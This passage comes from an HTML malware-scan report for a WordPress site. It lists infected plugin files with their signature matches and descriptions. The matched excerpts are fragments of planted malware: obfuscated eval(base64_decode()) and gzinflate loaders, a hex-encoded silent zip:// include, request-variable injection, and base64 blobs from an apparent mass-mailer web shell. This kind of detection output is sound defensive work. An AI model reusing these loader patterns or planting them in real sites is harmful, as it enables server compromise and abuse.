</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_234").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/xwork/module.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 51.69 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-21 10:13:50</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-21 10:13:50</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_235" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 527</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">php_uname</span><span style="color: #007700">()</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_235").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/includes/navigations.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 100.30 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_236" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 78</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">riny</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_236").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/includes/InstagramScraper/Instagram.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 50.70 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_237" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 668</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$cookie_array</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_237").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/includes/InstagramScraper/Instagram_old.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 49.53 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_238" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 635</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$cookie_array</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_238").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/includes/navigation.class.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 19.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2022-02-24 03:40:58</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-07 10:03:36</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_239" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Function str_rot13 eval_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 278</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">riny</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_239").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/admin/assets/js/js/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 379.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_240" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$FKw</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x74\x69\x66\x66\x5f\x36\x39\x37\x38\x37\x34\x30\x64\x34\x32\x33\x65\x31\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x34\x30\x64\x34\x32\x33\x65\x31\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_240").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/revslider/admin/assets/js/js/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 427.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:09</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_241" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$FKw</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_241").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/wiuqa.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 13:50:18</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 13:50:18</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_242" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_242").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/languages/languages/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.53 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:12</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:12</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_243" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'saOAoxB8HFEbF+2DrlT1QGhseGjXWH75sZ7rTvd82vf29HP6QG+N8z7HQ7fttdP/4460KHe0hvVzVb5pV6FVvG7GQXKVnnk9+14zWv+4/fXmDf9aNZxLX+2dT8qbX+4SP4ax2rxbm8VGvK64TN/Zhkia/tRZu/Nbdx/vvI/oP+7bOrGlE2DaGjSB318QNrkS8dzn+n+1siPvajDQFsHUOX0rZtxrcN2LgB8mofQhRxVbOQirv2v+UvVDZ/0l2TOPQeAnxMqY59dgsDuwRImRq7gAYiRJAJ5L5i4Tccc2WGhXi9VfY4+yz/YsC0xuSOhyA1oLE9+LqbH1y7WSHZX8OQ/2DdaymPs76DuuxvjWdrWrSldmJ4GsebeYc7XZ23kQf+y974iP3p2ve65evNSn5FEK1oYLoKua+9YUretg+x2ThDmXiHivwxtXH/NV9v90vzOC9DoraStBJAHR8TsAVjFS2WWwPzM+MiHxz19DqZX8xUMvu0w...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$njHEm</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_243").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/bbugy.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 13:50:17</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 13:50:17</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_244" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_244").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-content/plugins/vrzhg/ovbee.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-24 13:50:19</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-24 13:50:19</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_245" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
